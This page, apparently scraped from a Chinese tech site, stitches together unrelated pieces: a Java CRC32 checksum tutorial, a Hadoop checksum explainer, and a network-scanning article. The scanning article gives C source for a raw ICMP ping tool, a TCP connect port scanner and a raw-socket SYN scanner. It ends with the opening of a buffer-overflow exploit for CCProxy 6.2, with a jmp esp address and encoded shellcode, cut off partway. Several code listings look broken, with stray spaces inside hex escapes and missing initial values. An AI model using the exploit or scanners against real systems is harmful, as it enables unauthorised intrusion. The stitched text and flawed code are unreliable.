精华内容
下载资源
问答
  • Java 实现校验和(Checksum)

    千次阅读 2020-09-15 08:54:32
    Java 实现校验和(Checksum) 本文简要解释什么是校验和以及如何在java中计算校验和。 1. 校验和及实现算法 校验和是指传输位数的累加,当传输结束时,接收者可以根据这个数值判断是否接到了所有的数据。如果数值匹配...

    Java 实现校验和(Checksum)

    本文简要解释什么是校验和以及如何在java中计算校验和。

    1. 校验和及实现算法

    校验和是指传输位数的累加,当传输结束时,接收者可以根据这个数值判断是否接到了所有的数据。如果数值匹配,那么说明传送已经完成。通常用来在通信中,尤其是远距离通信中保证数据的完整性和准确性。简言之,校验和是二进制数据流的迷你表示。

    在网络编程中通常用于检查信息是否完整接收,在接收到新消息时,可以重新计算校验和并与接收到的校验和进行比较,以确保没有丢失任何字节位。此外,它们还可以用于文件管理,例如,比较文件或检测更改。

    常用创建校验和的算法有Adler32 和 CRC32。这些算法的工作原理是将一系列数据或字节转换成更小的字母和数字序列。它们被设计成输入中的任何微小变化都会导致计算出的校验和大不相同。
    本文介绍Java支持的CRC32算法。需要指出的是CRC32算法用于计算校验和非常有用,但不建议用于摘要算法,如密码摘要。

    2. CRC32算法示例

    2.1 求字符串或字节数组校验和

    首先需要获得需要计算校验和的输入,如何是字符串,则需要调用getBytes()获取字节数组:

    String test = "test";
    byte[] bytes = test.getBytes();
    

    接下来通过字节数组计算校验和:

    public static long getCRC32Checksum(byte[] bytes) {
        Checksum crc32 = new CRC32();
        crc32.update(bytes, 0, bytes.length);
        return crc32.getValue();
    }
    

    这里使用java内置的CRC32类。实例化之后使用update方法,传入字节数组计算校验和。简单地说,update方法将替换CRC32对象所保存的字节,这有助于代码重用并消除创建校验和新实例的需要。CRC32类提供了一些被重写的方法,用于替换整个字节数组或其中的几个字节。最后通过getValue方法返回校验和。

    2.2 求输入流校验和

    当处理较大数据集时,上述方法因加载所有数据至内存导致效率低下。
    如果可以获取InputStream,可以使用CheckedInputStream 类创建创建校验和。通过使用这种方法,我们可以定义一次处理多少字节。
    下面例子处理给定一次那些处理字节的数量,直到流结束:

    public static long getChecksumCRC32(InputStream stream, int bufferSize) 
      throws IOException {
        CheckedInputStream checkedInputStream = new CheckedInputStream(stream, new CRC32());
        byte[] buffer = new byte[bufferSize];
        while (checkedInputStream.read(buffer, 0, buffer.length) >= 0) {}
        return checkedInputStream.getChecksum().getValue();
    }
    

    3. 总结

    本文我们介绍了校验和的概念,以及如何使用Java CRC32类计算字节数组或输入流(InputStream)的校验和。

    展开全文
  • Hadoop数据完整性与CheckSum校验原理

    千次阅读 2018-03-27 19:57:54
    但是,受网络不稳定、硬件损坏等因素,IO操作过程中难免会出现数据丢失或脏数据,难免会出现数据丢失或脏数据,数据传输的量越大,出现错误的概率就越高。 检测数据是否损坏的常见措施是,在数据第一次引入系统时...

    一、HDFS数据完整性

    用户肯定都希望系统在存储和处理数据时,数据不会有任何丢失或损坏。但是,受网络不稳定、硬件损坏等因素,IO操作过程中难免会出现数据丢失或脏数据,难免会出现数据丢失或脏数据,数据传输的量越大,出现错误的概率就越高。

    检测数据是否损坏的常见措施是,在数据第一次引入系统时计算校验和(checksum)并存储,在数据进行传输后再次计算校验和进行对比,如果计算所得的新校验和和原来的校验和不匹配,就认为数据已损坏。但该技术并不能修复数据——它只能检测出数据错误。(这正是不使用低端硬件的原因。具体说来,一定要使用ECC内存。)注意,校验和也是可能损坏的,不只是数据,但由于校验和比数据小得多,所以损坏的可能性非常小。

    (1)对本地文件I/O的检查
    在Hadoop中,本地文件系统的数据完整性由客户端负责。重点在于存车读取文件时进行校验和的处理。
    具体做法是:每当hadoop创建文件a时,hadoop就会同时在同一个文件夹下创建隐藏文件.a.crc,这个文件记录了 文件a的校验和。针对数据文件的大小,每512个字节会生成一个32位的校验和(4字节),可以在src/core/core-default.xml中通过修改io.bytes.per.checksum的大小来修改每个校验和所针对的文件的大小。

    在hadoop中,校验和系统单独为一类,org.apache.hadoop.fs.ChecksumFileSystem,当需要校验和机制时,可以很方便的调用它来服务。

    (2)对HDFS的I/O数据进行检查

    一般来说,HDFS会在三种情况下检验校验和:

    1. DataNode接收数据后存储数据前
      DataNode接收数据一般有两种情况:1.从客户端上传数据 2.DataNode从其他DataNode上接收数据。
      当客户端上传数据时,正在写数据的客户端将数据及其校验和发送到由一系列datanode组成的Pipeline管线。Pipeline管线中最后一个datanode负责验证校验和。

      DataNode数据存储步骤:(包括从DataNode和客户端两种传输方式)
      1.在传输数据的最开始阶段,Hadoop会简单地检查数据块的完整性信息;
      2.依次向各个DataNode传输数据,包括数据头信息、块信息、备份个数、校验和等;
      3.Hadoop不会在数据每流动到一个DataNode都检查校验和,只会在数据流达到最后一个节点时才检查校验和
      如果在验证过程中发现有不一致的块,就会抛出CheckSumException异常信息

    2. 客户端读取DataNode上的数据时
      Hadoop会在客户端读取DataNode上的数据时,使用DFSClient中的read函数先将数据读入到用户的数据缓冲区,然后再检查校验和。将他们与datanode中存储的校验和进行比较
      每个datanode均持久保存有一个用于验证的校验和日志,所以它知道每个数据块的最后一次验证时间
      客户端成功验证一个数据块后,会告诉这个datanode,datanode由此更新日志

    3. DataNode后台守护进程的定期检查
      DataNode会在后台运行DataBlockScanner,这个程序定期验证存储在这个datanode上的所有数据块(3周)
      该项措施是解决物理存储媒体上位衰减,位损坏的有力措施。

    Hadoop处理损坏数据的机制:

    1. DataNode在读取block块的时候会先进行checksum(数据块校验和)
      如果client发现本次计算的校验和跟创建时的校验和不一致,则认为该block块已损坏
    2. 客户端在抛出ChecksumException之前上报该block信息给namenode进行标记(“已损坏”)
      这样namenode就不会把客户端指向这个block,也不会复制这个block到其他的datanode。
    3. client重新读取另外的datanode上的block
    4. 在心跳返回时NameNode将块的复制任务交给DataNode,从完好的block副本进行复制以达到默认的备份数3
    5. NameNode删除掉坏的block。
    6. DataNode在一个block块被创建之日起三周后开始进行校验

    如果出于一些原因在操作的时候不想让hdfs检查校验码

    在FileSystem的open()之前通过设置FileSystem的setVerifyCheckSum(false)方法禁用校验和
    或者命令行使用get时候添加选项-ignoreCrc或者直接使用-copyToLocal
        fs.setVerifyChecksum(false)   fs.open(new Path(“”)) // 就不进行校验检查了
        Hadoop fs –get –ignoreCrc hdfs://master:9000/a.txt
        Hadoop fs –copyToLocal hdfs://master:9000/a.txt
    

    二、CheckSum校验原理

    Hadoop数据的完整性检测,都是通过校验和的比较来完成,在创建新文件时(也就是在上传数据到hdfs上时)将校验和的值和数据一起保存起来。NameNode会收到来自client、DataNode的检验和信息,根据这两个信息来维护文件的块存储及向客户端提供块读取服务。

    HDFS会对写入的所有数据计算校验和,并在读取数据时验证校验和。
    常用的错误检测码是CRC-32(循环冗余校验),任何大小的数据输入均计算得到一个32位的整数校验和。
    在写入文件时,hdfs为每个数据块都生成一个crc文件。客户端读取数据时生成一个crc与数据节点存储的crc做比对,如果不匹配则说明数据已经损坏了。数据节点在后台运行一个程序定期(默认为21天)检测数据,防止物理存储介质中位衰减而造成的数据损坏。

    1. DataNode在写入时计算出校验和,然后每次读的时候再计算校验和进行检验
      hdfs会为每一个固定长度的数据(一个个数据包)执行一次校验和
      这个值由io.bytes.per.checksum指定,默认是512字节。
      因为CRC32是32位即4个字节,这样校验和占用的空间就会少于原数据的1%。

    2. datanode在存储收到的数据前会校验数据的校验和,比如收到客户端的数据或者其他副本传过来的数据。
      如hdfs数据流中客户端写入数据到hdfs时的数据流,在管道的最后一个datanode会去检查这个校验和
      如果发现错误,就会抛出ChecksumException到客户端

      从datanode读数据的时候一样要检查校验和,而且每个datanode还保存了检查校验和的日志,每次校验都会记录到日志中

    3. 除了读写操作会检查校验和以外,datanode还跑着一个后台进程(DataBlockScanner)
      定期校验存在在它上面的block,因为除了读写过程中会产生数据错误以外,硬件本身也会产生数据错误,比如位衰减(bit rot)

    展开全文
  • 网络扫描技术

    千次阅读 2008-11-18 12:01:00
    网络扫描技术摘要 网络扫描技术是识别当前网络安全第一步,不管是对于黑客组织还是对于安全人员来讲,都是必须要掌握的第一手技术,本文着重介绍了当前流行网络扫描技术,同时给出其主要的实现代码。关键字:端口...
     

    网络扫描技术

    摘要

          网络扫描技术是识别当前网络安全第一步,不管是对于黑客组织还是对于安全人员来讲,都是必须要掌握的第一手技术,本文着重介绍了当前流行网络扫描技术,同时给出其主要的实现代码。

    关键字:端口扫描、Socket编程、网络安全

    1.     引言

    网络扫描其实是对目标网络进行模拟黑客攻击行为,从中发现其存在的漏洞,以及早采取措施。这是一种主动探测网络安全状态的行为。

    网络扫描技术通常包括ping探测技术,端口扫描技术和漏洞扫描技术。

    一次完整的网络扫描通常分为三个阶段:

    (1)    目标主机或网络发现阶段,本阶段主要是通过相关探测技术发现当前存活的目标系统。

    (2)    目标主机或网络信息收集阶段,本阶段主要是收集目标系统的相关信息,包括操作系统类型,开发端口,服务软件版本类型等。如果目标系统是一个网络,还要分析目标网络的拓扑结构,路由设备信息,交换设备信息,各主机信息等。

    (3)    漏洞分析阶段,本阶段主要是通过对收集到的信息进行综合性的分析,以发现目标系统是否存在漏洞。

    2.     常见技术的介绍

    2.1    Ping探测技术

    Ping探测技术是指向目标主机发送一个ICMP报文,同时要求对方回显,以探测对方主机是否存活。

    2.2    端口扫描技术

       端口扫描技术是指向目标主机的相应端口发送相关数据包,通过目标主机的反应来分析目标主机开发了那些端口。

    常用的端口扫描技术有TCP全连接扫描,SYN扫描,FIN扫描,隐蔽性扫描。

    2.3    漏洞扫描技术

    漏洞扫描技术是指通过分析目标系统开放的服务,将这些服务信息与当前漏洞库所提供的漏洞进行匹配以分析目标主机是否存在漏洞,或者是通过对目标系统进行安全漏洞扫描,如暴力猜测等,来发现目标漏洞。

     

    3.     相关技术的实现

    3.1    Ping探测技术

    下面我们的工作是用于完成对以上所提到的技术的编程工作,首先是对于Ping程序的编写:

    ping.h

    #pragma pack(1)

    //#define u_char unsigned char

    //#define u_short unsigned short

    #include<windows.h>

    #define ICMP_ECHOREPLY 0

    #define ICMP_ECHOREQ 8

    //

    typedef struct tagIPDR

    {

    u_char VIHL;//版本和类型

    u_char TOS;//服务质量

    u_char shortTotLen;//长度

        u_char shortID;//编号

    u_char shortFlagOff;//分片,Fragment

    u_char TTL;//生存时间

    u_char Protocol;//协议类型

    u_short Checksum;//校验和

    struct in_addr iaSrc;//源地址

    struct in_addr isDet;//目的地址

    }IPHDR,*PIPHDR;//RFC791 IP协议头类型

    typedef struct tagICMP

    {

    u_char Type;//类型

    u_char Code;//代号

    u_short  Checksum;//校验号

    u_short ID;//标识号

    u_short Seq;//列号

    char Data;//数据信息

    }ICMPHDR,*PICMPHDR;//RFC 792 ICMP协议头

    /

    #define REQ_DATASIZE 32

    typedef struct tagECHOREQUEST

    {

    ICMPHDR icmpHdr;//ICMP协议头

    DWORD dwTime;//数据传输时间

    char cData[REQ_DATASIZE];//传输数据

    }ECHOREQUEST,*PECHOREQUEST;//请求回传的数据长度

    ///

    typedef struct tagECHOREPLY

    {

    IPHDR ipHdr;

    ECHOREQUEST echoRequest;

    char cFiler[256];

    }ECHOREPLY,*PECHOREPLY;//回送请求报文

    #pragma pack()

    //ping.cpp

    #include "ping.h"

    #include<Winsock.h>

    #include<stdlib.h>

    #include<stdio.h>

    DWORD time;

    void Ping(LPCSTR pstrHost);//ping 指令函数;

    void ReportError(LPCSTR psrtFrom);

    int WaitForEchoReply(SOCKET s);

    int SendEchoRequest(SOCKET,LPSOCKADDR_IN);

    DWORD RecvEchoReply(SOCKET,LPSOCKADDR_IN,char*);

    u_short in_cksum(u_short *addr,int len);

    void main()

    {

           WSADATA wsaData;

           WORD version=MAKEWORD(1,1);

           char pstrHost[20];

           if(WSAStartup(version,&wsaData))

           {

                  printf("初始化协议栈错误/n");

                  getchar();

                  return ;

           }

           if(wsaData.wVersion!=version)

           {

            printf("不支持WIDOWS的套接字/n");

                  getchar();

                  return ;

           }

           bool flag=true;

           while(flag)

           {

            printf(" Ping >:");

            scanf("%s",pstrHost);

            if(strcmp(pstrHost,"exit")==0)

                   break;

            printf("*****************************/n");

            Ping(pstrHost);

           }

           WSACleanup();

    }

    void Ping (LPCSTR pstrHost)

    {

           SOCKET rawSocket;

           LPHOSTENT  lpHost;

           struct sockaddr_in saDest;

           struct sockaddr_in saSrc;

           DWORD dwTimeSent;

           DWORD dwElapsed;

           u_char cTTL;

           int nLoop;

           int nRet;

           rawSocket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);

           if(rawSocket==SOCKET_ERROR)

           {

                  ReportError("套接字");

                  return;

           }

           lpHost=gethostbyname(pstrHost);

       if(lpHost==NULL)

           {

                  printf("无法找到这主机[%s]/n",pstrHost);

                  getchar();

                  return;

           }

           saDest.sin_addr.s_addr=*((u_long FAR*)(lpHost->h_addr));

           saDest.sin_family=AF_INET;

           saDest.sin_port=0;

           printf("/n探测主机%s[%s]%d字节/n",pstrHost,inet_ntoa(saDest.sin_addr),REQ_DATASIZE);

           for(nLoop=0;nLoop<4;nLoop++)

           {

                  SendEchoRequest(rawSocket,&saDest);

                  nRet=WaitForEchoReply(rawSocket);

                  if(nRet==SOCKET_ERROR)

                  {

                         ReportError("选择");

                         break;

                  }

              if(!nRet)

                  {

                  printf("发送超时/n");  

                  break;

                  }

                  dwTimeSent=RecvEchoReply(rawSocket,&saSrc,(char*)&cTTL);

                  dwElapsed=time-dwTimeSent;

               printf("来自主机[%s]响应,字节:%d 时间:%ld毫秒 最大生存期:%d/n",inet_ntoa(saSrc.sin_addr),REQ_DATASIZE,dwElapsed,cTTL);

           }

           if(closesocket(rawSocket)==SOCKET_ERROR)

                     ReportError("关闭套接字");

    }

    int SendEchoRequest(SOCKET s,LPSOCKADDR_IN lpstToAddr)

    {

           static ECHOREQUEST echoReq;

           static nId=1;

           static nSeq=1;

           static nRet;

           echoReq.icmpHdr.Type=ICMP_ECHOREQ;

        echoReq.icmpHdr.Code=0;

           echoReq.icmpHdr.Checksum=0;

           echoReq.icmpHdr.ID=nId++;

           echoReq.icmpHdr.Seq=nSeq++;

           for(nRet=0;nRet<REQ_DATASIZE;nRet++)

             echoReq.cData[nRet]=nRet;

        echoReq.dwTime=GetTickCount();

           time=echoReq.dwTime;//记录发送时间

           echoReq.icmpHdr.Checksum=in_cksum((u_short *)&echoReq,sizeof(ECHOREQUEST));

           nRet=sendto(s,(LPCSTR)&echoReq,sizeof(ECHOREQUEST),0,(LPSOCKADDR)lpstToAddr,sizeof(SOCKADDR_IN));

           if(nRet==SOCKET_ERROR)

            ReportError("发送出错");

        return nRet;

    }

    void ReportError(LPCSTR lpStr)

    {

           printf("%s发生错误,错误号:%d/n",lpStr,WSAGetLastError());

           getchar();

    }

    DWORD RecvEchoReply(SOCKET s,LPSOCKADDR_IN lpsaFrom,char *pTTL)

    {

           ECHOREPLY echoReply;

           int nRet;

           int nAddrLen=sizeof(struct sockaddr_in);

        nRet=recvfrom(s,(LPSTR)&echoReply,sizeof(ECHOREPLY),0,(LPSOCKADDR)lpsaFrom,&nAddrLen);

           if(nRet==SOCKET_ERROR)

                  ReportError("接收");

           *pTTL=echoReply.ipHdr.TTL;

           return echoReply.echoRequest.dwTime;

    }

    int WaitForEchoReply(SOCKET s)

    {

     struct timeval Timeout;

     fd_set readfds;

     readfds.fd_count=1;

     readfds.fd_array[0]=s;

     Timeout.tv_sec=5;

     Timeout.tv_usec=0;

     return select(1,&readfds,NULL,NULL,&Timeout);

    }

    u_short in_cksum(u_short *addr,int len)

    {

           register int nleft=len;

        register u_short *w=addr;

           register u_short answer;

           register int sum=0;

           while(nleft>1)

           {

                  sum+=*w++;

                  nleft-=2;

           }

           if(nleft==1)

           {

                  u_short u=0;

                  *(u_char *)(&u)=*(u_char *)w;

                  sum+=u;

           }

           sum=(sum>>16)+(sum&0xffff);

           sum+=(sum>>16);

           answer=~sum;

           return answer;

    }

    3.2    端口扫描技术

    3.2.1        TCP全端口扫描

      TCP全端口扫描技术其实功能简单,下面列出其全部的源代码:

    #include<winsock2.h>
    #include<stdio.h>
    #include <iostream.h>

    void main()
    {
     WSADATA wsaData;
        SOCKET sClient;
        struct sockaddr_in server;

        if(WSAStartup(MAKEWORD(2,2),&wsaData)!=0)
     {
      printf("
    加载套接字失败
    /n");
      return ;
     }
       
     sClient=socket(AF_INET,SOCK_STREAM,0);

     if(sClient==INVALID_SOCKET)
     {
      printf("
    创建套接字失败
    :%d/n",WSAGetLastError());
     // return ;
     }

     for(int iPort = 1 ;iPort <82 ; iPort ++)
     {
      server.sin_family=AF_INET;
         server.sin_port=htons(iPort);
         server.sin_addr.s_addr=inet_addr("127.0.0.1");
         if(connect(sClient,(struct sockaddr *)&server,sizeof(server))==INVALID_SOCKET)
      {
        
          printf("
    端口没有开放
    %d/n",iPort);
      
      }
         else
      {
              printf("
    端口开放
    %d/n",iPort);
      }
     }
    }

     

    3.2.2        SYN扫描

    下面给出SYN扫描的源代码,本部分的主要源代码是从网上获取,所以向作者表示感谢。

    //---------------------------------------------------------------------------

    //Filename:ss.c

    //Author:yunshu

    //Write: 2004-04-02

    //Thanks Wineggdrop

    //Modify: 2004-09-08

    //---------------------------------------------------------------------------

     

    #include <winsock2.h>

    #include <ws2tcpip.h>

    //#include <mstcpip.h>

    #include <stdio.h>

     

    #pragma comment(lib,"ws2_32.lib")

     

    //全局变量

     

    #define srcPort 88

     

    char srcIP[20] ;//定义源地址

    char tgtIP[20] ;//定义目的地址

    int portNow;//定义正在扫描的端口

     

    //标准端口列表

    int ports[20] ;

     

    typedef struct ip_hdr

    {

     unsigned char h_verlen; //4位首部长度,4IP版本号

     unsigned char tos; //8位服务类型TOS

     unsigned short total_len; //16位总长度(字节)

     unsigned short ident; //16位标识

     unsigned short frag_and_flags; //3位标志位

     unsigned char ttl; //8位生存时间 TTL

     unsigned char proto; //8位协议 (TCP, UDP 或其他)

     unsigned short checksum; //16IP首部校验和

     unsigned int sourceIP; //32位源IP地址

     unsigned int destIP; //32位目的IP地址

    }IP_HEADER;

     

    typedef struct tcp_hdr //定义TCP首部

    {

     USHORT th_sport; //16位源端口

     USHORT th_dport; //16位目的端口

     unsigned int   th_seq; //32位序列号

     unsigned int   th_ack; //32位确认号

     unsigned char th_lenres; //4位首部长度/6位保留字

     unsigned char th_flag; //6位标志位

     USHORT th_win; //16位窗口大小

     USHORT th_sum; //16位校验和

     USHORT th_urp; //16位紧急数据偏移量

    }TCP_HEADER;

     

    typedef struct tsd_hdr //定义TCP伪首部

    {

     unsigned long saddr; //源地址

     unsigned long daddr; //目的地址

     char mbz;

     char ptcl; //协议类型

     unsigned short tcpl; //TCP长度

    }PSD_HEADER;

     

    //函数原形

     

    int     send_packet();//发送数据函数

    int     recv_packet();//监听数据函数

    USHORT   checksum( USHORT *, int );//计算检验和函数

    void     usage( char * );//显示帮助函数

    void     check_port( char * );//判断端口是否开放函数

     

     

    //main函数

     

    int main( int argc , char *argv[] )

    {

     WSADATA           WSAData;

     DWORD           thread_ID = 1;

     char           FAR hostname[128] ;

     HANDLE           ThreadHandle[20];

     struct hostent     *phe;

     

     if( argc != 2 )//检查命令行参数是否正确

     {

       usage( argv[0] );

       exit( 0 );

     }

     

     if ( WSAStartup(MAKEWORD(2,2) , &WSAData) )

     {

       printf("WSAStartup Error.../n");

       exit(0);

     }

     

     strcpy(tgtIP,argv[1]);//得到目标主机的ip地址

     

     gethostname(hostname,128);//获取本机主机名

     

     phe = gethostbyname(hostname);//获取本机ip地址结构

     

     if(phe == NULL)

     {

       printf("Get LocalIP Error.../n");

     }

     

     strcpy(srcIP, inet_ntoa(*((struct in_addr *)phe->h_addr_list[0])));//得到本机ip地址

     

     //调试用,注释掉

     //printf("test/t%s/n",tgtIP);

     //printf("test/t%s/n",srcIP);

     

     //开启新线程,接受数据包,分析返回的信息

     HANDLE   RecvHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)recv_packet,NULL,0,&thread_ID);

     

     Sleep(500);//休息一下再启动发送数据包函数

     

     for(int tmp = 0; tmp < 20; tmp++)

     {

       ++thread_ID;

     

       //要扫描的端口

       portNow = ports[tmp];

     

       //开启新线程,发送数据包

       ThreadHandle[tmp] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)send_packet,NULL,0,&thread_ID);

     

       //防止生成线程过快,休息

       Sleep(100);

     }

     

     DWORD WaitThread = WaitForMultipleObjects( 20 , ThreadHandle , TRUE , INFINITE );

     if( WaitThread != WAIT_FAILED)

     {

       for( int n = 0 ; n < 20 ; n++ )

       {

           CloseHandle( ThreadHandle[n] );

       }

     }

     CloseHandle( RecvHandle );

     

     WSACleanup();

     return 0;

    }

     

    //计算检验和函数,完全抄别人的

    USHORT checksum(USHORT *buffer, int size)

    {

     unsigned long cksum=0;

     

     while(size >1)

     {

       cksum += *buffer++;

       size -= sizeof(USHORT);

     }

     if(size)

     {

       cksum += *(UCHAR*)buffer;

     }

     cksum = (cksum >> 16) + (cksum & 0xffff);

     cksum += (cksum >> 16);

     return (USHORT)(~cksum);

    }

     

    void usage(char *prog)

    {

     printf("===========================================/n");

     printf("Used To Scan Remote Host's Ports/n");

     printf("OurTeam:http://www.ph4nt 0m .net/n");

     printf("Usage:%s TargetIP/n",prog);

     printf("===========================================/n");

     exit(0);

    }

     

     

    //发送数据包的函数

    int send_packet()

    {

     SOCKET         sendSocket;

     BOOL           flag;

     int           timeout;

     SOCKADDR_IN     sin;

     IP_HEADER       ipHeader;

     TCP_HEADER       tcpHeader;

     PSD_HEADER       psdHeader;

     char           szSendBuf[60] ;

     int           ret;

     unsigned long     source_ip;

     unsigned long     target_ip;

     

     //建立原生数据socket

     if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)

     {

       printf("Socket Setup Error.../n");

       return 0;

     }

     

     //设置自己填充数据包

     if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR)

     {

       printf("Setsockopt IP_HDRINCL Error.../n");

       return 0;

     }

     

     //设置超时时间

     timeout = 1000;

     if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR)

     {

       printf("Setsockopt SO_SNDTIMEO Error.../n");

       return 0;

     }

     

     target_ip = inet_addr(tgtIP);

     source_ip = inet_addr(srcIP);

     

     sin.sin_family = AF_INET;

     sin.sin_port = htons(portNow);

     sin.sin_addr.S_un.S_addr = target_ip;

     

     //填充IP首部

     ipHeader.h_verlen = (4<<4 | sizeof(ipHeader)/sizeof(unsigned long));

     ipHeader.total_len = htons(sizeof(ipHeader)+sizeof(tcpHeader));

     ipHeader.ident = 1;

     ipHeader.frag_and_flags = 0x40;

     ipHeader.ttl = 128;

     ipHeader.proto = IPPROTO_TCP;

     ipHeader.checksum = 0;

     ipHeader.sourceIP = source_ip;//IP

     ipHeader.destIP = target_ip;//目的IP

     

     //填充TCP首部

     tcpHeader.th_dport = htons(portNow);//目的端口

     tcpHeader.th_sport = htons(srcPort); //源端口

     tcpHeader.th_seq = 0x12345678;

     tcpHeader.th_ack = 0;

     tcpHeader.th_lenres = (sizeof(tcpHeader)/4<<4|0);

     tcpHeader.th_flag = 2;//syn标志位。0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG(推测,哈哈)

     tcpHeader.th_win = htons(512);

     tcpHeader.th_urp = 0;

     tcpHeader.th_sum = 0;

     

     //填充tcp伪首部

     psdHeader.saddr = ipHeader.sourceIP;

     psdHeader.daddr = ipHeader.destIP;

     psdHeader.mbz = 0;

     psdHeader.ptcl = IPPROTO_TCP;

     psdHeader.tcpl = htons(sizeof(tcpHeader));

     

     //计算TCP校验和

     memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));

     memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));

     

     tcpHeader.th_sum = checksum((USHORT *)szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader));

     

     //计算IP检验和

     memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

     memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

     memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4);

     ipHeader.checksum = checksum((USHORT *)szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader));

     

     memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

     memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

     

     //发送数据包

     ret = sendto(sendSocket, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&sin, sizeof(sin));

     

     if(ret == SOCKET_ERROR)

     {

       printf("Send Packet Error.../n");

       return 0;

     }

     else return 1;

    }

     

    int recv_packet()

    {

     SOCKADDR_IN   sniff;

     SOCKET       sock;

     char         recvBuffer[65000]  ;//缓冲区存放捕获的数据

     

     //建立socket监听数据包

     sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);

     

     sniff.sin_family = AF_INET;

     sniff.sin_port = htons(0);

     sniff.sin_addr.s_addr = inet_addr(srcIP);

     

     //绑定到本地随机端口

     bind(sock,(PSOCKADDR)&sniff,sizeof(sniff));

     

     //设置SOCK_RAWSIO_RCVALL,以便接收所有的IP

     //copy来的

     DWORD dwBufferLen[10] ;

     DWORD dwBufferInLen = 1 ;

     DWORD dwBytesReturned = 0 ;

     WSAIoctl(sock,SIO_ADDRESS_LIST_CHANGE,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned,NULL,NULL);

     

     while(TRUE)

     {

       memset(recvBuffer , 0 , sizeof(recvBuffer) );

     

       //开始捕获数据包

       int bytesRecived = recv(sock,recvBuffer,sizeof(recvBuffer),0);

       if(bytesRecived <= 0)

       {

           break;

       }

       check_port(recvBuffer);

     }

     return 1;

    }

     

    void check_port(char *buffer)

    {

     IP_HEADER     *ipHeader;//IP_HEADER型指针

     TCP_HEADER     *tcpHeader;//TCP_HEADER型指针

     

     ipHeader = (IP_HEADER *)buffer;

     tcpHeader = (TCP_HEADER *) (buffer+sizeof(IP_HEADER));

     

     if(ipHeader->sourceIP != inet_addr(tgtIP))

     {

       return;

     }

     

     for(int tmp=0;tmp<20;tmp++)

     {

       //SYN+ACK -> 2+16=18(也是推测,哈哈)

       if(tcpHeader->th_flag == 18 && tcpHeader->th_sport == htons(ports[tmp]))

       {

           printf("[Found]/t%s/tport/t%d/tOpen/n",tgtIP,ports[tmp]);

       }

     }

    }

    3.3    漏洞扫描技术

    由于本部分代码的专用生较强,故不能给出全部源码,故只给出自己从前开发几个基于缓冲区溢出漏洞的两个C语言程序,具体代码如下:

    3.3.1        基于CCProxy的一个漏洞

    此漏洞主要是针对ccproxy 6.2的漏洞,是由于当执行Telnet到该代理时,若执行Ping命令,如果其Hostname大于1012的字节,则就会发生溢出错误。

     

    #include <stdio.h>

    #include <stdlib.h>

    #include <windows.h>

    #pragma comment (lib,"ws2_32")

     

    // jmp esp address of chinese version

    #define JUMPESP "/x12/x45/xfa/x 7f "

     

    // exec calc

    char shellcode[] =

    "/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x49/x49/x49/x49/x49/x49"

    "/x49/x49/x49/x49/x49/x49/x49/x37/x49/x49/x49/x49/x51/x 5a /x 6a /x42"

    "/x58/x50/x30/x41/x31/x42/x41/x6b/x41/x41/x52/x32/x41/x42/x41/x32"

    "/x42/x41/x30/x42/x41/x58/x50/x38/x41/x42/x75/x38/x69/x79/x 6c /x 4a "

    "/x48/x67/x34/x47/x70/x77/x70/x53/x30/x6e/x6b/x67/x35/x45/x 6c /x 4c "

    "/x4b/x73/x 4c /x74/x45/x31/x68/x54/x41/x68/x 6f /x 6c /x4b/x70/x 4f /x57"

    "/x68/x6e/x6b/x71/x 4f /x45/x70/x65/x51/x 5a /x4b/x67/x39/x 4c /x4b/x50"

    "/x34/x 4c /x4b/x77/x71/x68/x6e/x75/x61/x4b/x70/x4e/x79/x6e/x 4c /x4d"

    "/x54/x4b/x70/x72/x54/x65/x57/x69/x51/x49/x 5a /x46/x6d/x37/x71/x 6f "

    "/x32/x 4a /x4b/x58/x74/x77/x4b/x41/x44/x44/x64/x35/x54/x72/x55/x 7a "

    "/x45/x 6c /x4b/x53/x 6f /x51/x34/x37/x71/x48/x6b/x51/x76/x 4c /x4b/x76"

    "/x 6c /x50/x4b/x6e/x6b/x71/x 4f /x67/x 6c /x37/x71/x68/x6b/x 4c /x4b/x65"

    "/x 4c /x 4c /x4b/x64/x41/x58/x6b/x4b/x39/x53/x 6c /x75/x74/x46/x64/x78"

    "/x43/x74/x71/x49/x50/x30/x64/x6e/x6b/x43/x70/x44/x70/x 4c /x45/x 4f "

    "/x30/x41/x68/x44/x 4c /x4e/x6b/x63/x70/x44/x 4c /x6e/x6b/x30/x70/x65"

    "/x 4c /x4e/x4d/x 6c /x4b/x30/x68/x75/x58/x 7a /x4b/x35/x59/x 4c /x4b/x4d"

    "/x50/x58/x30/x37/x70/x47/x70/x77/x70/x 6c /x4b/x65/x38/x57/x 4c /x31"

    "/x 4f /x66/x51/x48/x76/x65/x30/x70/x56/x4d/x59/x 4a /x58/x6e/x63/x69"

    "/x50/x31/x6b/x76/x30/x55/x38/x 5a /x50/x4e/x 6a /x36/x64/x63/x 6f /x61"

    "/x78/x 6a /x38/x4b/x4e/x 6c /x 4a /x54/x4e/x76/x37/x6b/x 4f /x4b/x57/x70"

    "/x63/x51/x71/x32/x 4c /x52/x43/x37/x70/x42";

     

    void main(int argc, char *argv[])

    {  

        WSADATA WSAData;   

        char Buff[3008],Recv[1024];

        int nRet;

